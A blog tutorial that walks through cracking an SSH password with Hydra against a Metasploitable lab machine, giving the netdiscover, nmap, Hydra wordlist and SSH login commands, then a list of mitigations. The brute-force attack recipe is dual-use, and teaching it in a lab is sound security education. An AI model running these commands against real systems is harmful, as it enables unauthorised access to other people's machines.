Cracking SSH Password Using Hydra

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Today we are going learn how to access the victim machine by cracking the password of SSH service. 

Disclaimer: The articles provided on HackWithV is purely for informational and educational purpose only, and for those who are willing and curious to know & learn about Ethical Hacking, Security and Penetration Testing. Anytime the word "Hacking" that is used on this site shall be regarded as Ethical Hacking.

What is SSH?

  • The SSH protocol (also referred to as Secure Shell) is a method for secure remote login from one computer to another.

What is Hydra?

  • Hydra is a parallelized login cracker which supports numerous protocols to attack.
  • New modules are easy to add, beside that, it is flexible and very fast.
  • This tool gives researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system.

Practical:

  • Attacker: Kali Linux(OS), Hydra(Tool), Wordlist.
  • Victim: Metasploitable(OS), SSH(Service).

 sudo netdiscover
Netdiscover
  • Here we got the IP (192.168.0.22) of victim. Now lets scan for SSH service.
 nmap -sV -p 22 192.168.0.22
Scaning SSH
  • The nmap says that the victim is running SSH service. Now its time for cracking the password of SSH with the help of Hydra tool.
 hydra -help
hydra help
 hydra -L users.txt -P passwords.txt -t 4 192.168.0.22 ssh   
ssh cracking
  • Here,

        -L is list of usernames

        -P is list of Passwords

        -t is number of tasks

  • Here we go, the username is msfadmin and password is msfadmin .
  • Now lets try to connect to SSH with these credentials.
 ssh msfadmin@192.168.0.22
SSH logon
  • Here we got remote login into victim machine.

Mitigation:

  1. Set a custom SSH port
  2. Filter the SSH port on your firewall 
  3. Disable Root Login
  4. Strong passwords/passphrase for ssh users and keys
  5. Disable Empty Passwords
  6. Set a custom SSH warning banner
  7. Block SSH brute force attacks automatically
  8. Disable OpenSSH server on the laptops and desktops
  9. Enable login notifications over email
  10. Keep SSH updated

Be Aware, Be Secure.

Thank You 🙏

 

I'm a Cyber Security professional with expertise in Network, Application, Endpoint, Cloud Security, DevOps, and IT Ops. I have experience in various industries and am well-versed in relevant regulations and standards. My goal is to provide exceptional security solutions that protect organizations from evolving threats, while also streamlining workflows and improving collaboration between development, operations, and security teams through DevOps and IT Ops practices.

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